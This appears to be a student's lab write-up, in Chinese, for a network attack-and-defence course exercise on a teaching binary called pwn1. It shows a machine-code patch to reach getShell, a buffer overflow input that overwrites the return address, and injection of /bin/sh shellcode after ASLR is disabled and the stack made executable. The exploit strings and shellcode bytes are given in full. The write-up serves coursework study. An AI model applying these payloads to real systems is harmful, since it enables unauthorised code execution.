2019-2020-2 20175321吴丁成《网络对抗技术》Exp1 PC平台逆向破解

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#一、逆向及bof基础实践说明

##1. 实践目标

• 对象：名为pwn1的linux可执行文件
• 程序正常执行流程：main调用foo函数,foo函数会简单回显任何用户输入的字符串
• 学习目标：该程序同时包含另一个代码片段，getShell，会返回一个可用Shell，而正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段，然后学习如何注入运行任何 Shellcode。
• 三个实践内容如下：
  • 手工修改可执行文件，改变程序执行流程，直接跳转到getShell函数。
  • 利用foo函数的Bof漏洞，构造一个攻击输入字符串，覆盖返回地址，触发getShell函数。
  • 注入一个自己制作的shellcode并运行这段shellcode。
• 代表现实情况中的攻击目标的思路：
  • 运行原本不可访问的代码片段
  • 强行修改程序执行流
  • 以及注入运行任意代码

##2. 基础知识

• 需要掌握的内容：
  • 熟悉Linux基本操作
    • 能看懂常用指令,如管道（|），输入、输出重定向（>）等
  • 理解Bof的原理。
    • 能看得懂汇编、机器指令、EIP、指令地址
  • 会使用gdb,vi

#二、直接修改程序机器指令，改变程序执行流程

• 知识要求：Call指令，EIP寄存器,指令跳转的偏移计算，补码，反汇编指令 objdump，十六进制编辑工具
• 学习目标：理解可执行文件与机器指令
• 进阶：掌握ELF文件格式，掌握动态技术

##1. pwn1的下载安装

• 首先下载pwn1.zip到pc和kali的共享文件夹下，然后在kali的/mnt/hgfs/下的共享文件夹下解压和移动pwn1文件至实验exp1文件下。!

##2. 反汇编查看函数地址

• 命令行输入objdump -d pwn1，我们就能看到：
  • pwn1程序主要有main、foo、getshell这三个函数，其中foo函数功能为输出输入的字符串，getshell函数功能为打开一个shell，原程序中main函数只调用了foo函数，也就是我们输入什么内容，pwn1会通过读入，再打印出来，但是函数foo，这个函数有Buffer overflow漏洞。

• 图中划线处080484b5中的指令为**call 8048491 **
  • 是说这条指令将调用位于地址8048491处的foo函数；
  • 其对应机器指令为e8 d7 ff ff ff，e8即跳转之意。
    • 本来正常流程，此时此刻EIP的值应该是下条指令的地址，即80484ba，但如一解释e8这条指令呢，CPU就会转而执行 EIP + d7ffffff这个位置的指令。“d7ffffff”是补码,表示-41，41=0x29,80484ba +d7ffffff= 80484ba-0x29正好是 8048491这个值。

##3. 在vim中修改地址，反汇编查看结果

• main函数调用foo，对应机器指令为e8 d7 ff ff ff，
  • 那我们想让它调用getShell，只要修改“d7ffffff”为"getShell-80484ba"对应的补码就行。
  • 用Windows计算器，直接 47d-4ba就能得到补码，是c3ffffff。
• 首先我们直接使用vim打开pwn1文件后能看到如下乱码：

• 接下来执行如下操作：

    cp pwn1 pwn2
    vi pwn2
  

• 以下操作是在vi内

  • 1.按ESC键
  • 2.输入以下，将显示模式切换为16进制模式：:%!xxd

• 3.查找要修改的内容：/d7ff!

• 4.找到后前后的内容和反汇编的对比下，确认是地方是正确的
• 5.修改d7为c3
• 6.转换16进制为原格式::%!xxd -r!

• 7.存盘退出vi::wq

• 修改成功后再通过objdump -d pwn2查看是否修改成功
  • 从下图我们可以看到划线代码已经成功修改了，“d7ffffff”已经变成了“c3ffffff”。

##4. 运行改后的代码，查看效果

#三、通过构造输入参数，造成BOF攻击，改变程序执行流程

• 知识要求：堆栈结构，返回地址
• 学习目标：理解攻击缓冲区的结果，掌握返回地址的获取
• 进阶：掌握ELF文件格式，掌握动态技术

##1. 反汇编，了解程序的基本功能

• NOP:No Operation，空操作，作用就是直接跳到下一指令。对应的机器码为90。
• JNE：结果不为零(或不相等)则跳转。对应的机器码为75。
• JE：结果为零(或相等)则跳转。对应的机器码为74。
• JMP：无条件跳转。对应的机器码为对应的eb。
• CMP： cmp是比较指令,cmp的功能相当于减法指令。它不保存结果，只是影响相应的标志位。其他的指令通过识别这些被影响的标志位来得知比较结果。 。对应的机器码为83。

##2. 确认输入字符串哪几个字符会覆盖到返回地址

• 用gdb pwn2调试程序，输入有规律的字符串如1111111122222222333333334444444412345678，发生段错误产生溢出!

• 使用info r查看寄存器eip的值，发现输入的1234被覆盖到堆栈上的返回地址，接下来我们就要把字符串中会覆盖EIP的字符替换成getShell的地址。

##3. 构造输入字符串

• 于是我们通过输入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input来生成这样的文件。!

##4. 通过管道符|，将input文件作为pwn1的输入

#四、注入Shellcode并执行

##1. 准备工作

• 先利用apt-get install execstack命令安装execstack软件包

• 修改些设置（我这里使用的是pwn1的副本pwn3）。

    execstack -s pwn3  //设置堆栈可执行
    execstack -q pwn3    //查询文件的堆栈是否可执行X pwn3
    more /proc/sys/kernel/randomize_va_space
    echo "0" > /proc/sys/kernel/randomize_va_space  //关闭地址随机化
    more /proc/sys/kernel/randomize_va_space
  

##2. 构造要注入的payload

• Linux下有两种基本构造攻击buf的方法：

  • retaddr+nop+shellcode
  • nop+shellcode+retaddr

• 因为retaddr在缓冲区的位置是固定的，shellcode要不在它前面，要不在它后面。

• 简单说缓冲区小就把shellcode放后边，缓冲区大就把shellcode放前边

• 跟着老师和一些同学开始的做法跳坑里然后爬不出来（此处略去若干字）

• 重做，默默绕开坑，尝试结构为：anything+retaddr+nops+shellcode。

• 然后我们使用这段shellcode

    perl -e 'print "A" x 32;print "\x1\x2\x3\x4\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
  

• 这样我们就得到了一个input_shellcode

##3. 终端注入这段攻击buf并调试进程

• 终端注入这段攻击buf

    (cat input_shellcode;cat) | ./pwn3
  

• 再开另外一个终端，用gdb来调试pwn3这个进程（我这里使用的是pwn1的副本pwn3）。

    ps -ef | grep pwn3
  

• 启动gdb调试pwn3这个进程，先后输入attach 4523和disassemble foo指令

• 找到ret后在0x080484ae处设置断点。在终端a中回车，程序会执行到断点处，再在b终端输入c在断点处继续运行，然后输入:

    info r esp
  

• 得到esp的地址0xffffd6ec：

• 以16进制形式查看0xffffd6ec地址后面16字节的内容是在最开始构造的input_shellcode里的内容

    x/16x 0xffffd6ec
  

• 所以将shellcode注入地址是0xffffd6f0 0xffffd6ec+4=0xffffd6f0

##4. 重新构造攻击buf:

• 将shellcode之前的4321改成d6f0的地址：

    perl -e 'print "A" x 32;print "\xf0\xd6\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
  

• 再次输入：(cat input_shellcode;cat) | ./pwn3回车之后就可以执行命令了：

#五、实验总结

##1. 实验收获与感想

这次实验的内容是缓冲区溢出攻击，前两部分是通过直接修改机器指令、构造输入参数来改变程序正常的执行流程，第三部分是通过注入Shellcode并执行来进行攻击。在本次实验之前，我初步学习了Linux的基本操作指令和汇编、机器指令，但没有深入的了解。做完本次实验，我不仅对堆栈的结构和操作有了很多认识，还能够更加熟练地运用管道（|），输入、输出重定向（>）等Linux指令和gdb、vi这两个常用工具，得到了成长。虽然我还是只能跟着老师和同学们的步伐来学习，但还是收获颇丰。

##2. 什么是漏洞？漏洞有什么危害？

• 漏洞是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷，从而可以使攻击者能够在未授权的情况下访问或破坏系统。
• 漏洞被利用可能造成信息丢失，硬件或软件受损，程序无法正常运行等危害，造成硬件与软件受损从而产生经济损失，影响人们正常的生活、生产、学习、工作。

#六、参考资料

• 2019-2020-2 20175215丁文韬《网络对抗技术》Exp1 PC平台逆向破解
• Exp1 PC平台逆向破解
• 实践指导
• 2020-2021-2 20175335 丹增罗布 《网络对抗技术》Exp1 PC平台逆向破解